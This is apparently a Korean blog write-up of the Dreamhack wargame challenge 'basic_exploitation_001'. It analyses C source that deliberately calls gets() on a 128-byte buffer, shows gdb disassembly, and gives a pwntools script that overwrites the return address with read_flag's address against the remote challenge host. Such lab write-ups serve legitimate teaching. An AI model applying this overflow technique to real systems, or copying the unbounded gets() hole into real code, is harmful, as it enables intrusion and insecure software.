[dreamhack] basic_exploitation_001

Monitor In Secure☃️·2024년 4월 10일

wargame_pwn

목록 보기
9/11

그냥 입력하는 프로그램인 것 같다.

코드 분석)

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    gets(buf);

    return 0;
}

stevbuf(stdin, NULL, IONBF, 0);

stdin파일을 함수 내부에서 필요한 만큼 크기를 할당하여 사용한다.

void read_flag() {
system("cat /flag");
}

read_flag() 함수로 system 명령어로 cat /flag 명령어가 실행된다.

*gets()함수는 제한 없이 입력받기 때문에 취약점 존재한다.


gdb)

   0x080485cc <+0>:	push   ebp
   0x080485cd <+1>:	mov    ebp,esp
   0x080485cf <+3>:	add    esp,0xffffff80
   0x080485d2 <+6>:	call   0x8048572 <initialize>
   0x080485d7 <+11>:	lea    eax,[ebp-0x80]
   0x080485da <+14>:	push   eax
   0x080485db <+15>:	call   0x80483d0 <gets@plt>
   0x080485e0 <+20>:	add    esp,0x4
   0x080485e3 <+23>:	mov    eax,0x0
   0x080485e8 <+28>:	leave  
   0x080485e9 <+29>:	ret   

buf 변수 크기인 0x80(128(10))만큼 입력하고 ebp까지 고려하여 +4만큼 더 입력한 다음(128+4=132), ret()주소에 진입하여 read_flag함수의 주소를 입력해주면 된다.

read_flag()의 주소)

-> 0x080485b9

exploit code)

from pwn import *

p = remote('host3.dreamhack.games', 8407)

read_flag = p32(0x080485b9)
payload = b'a'*132
payload += read_flag

p.send(payload)

p.interactive()

플래그 값이 잘 출력되었다.

0개의 댓글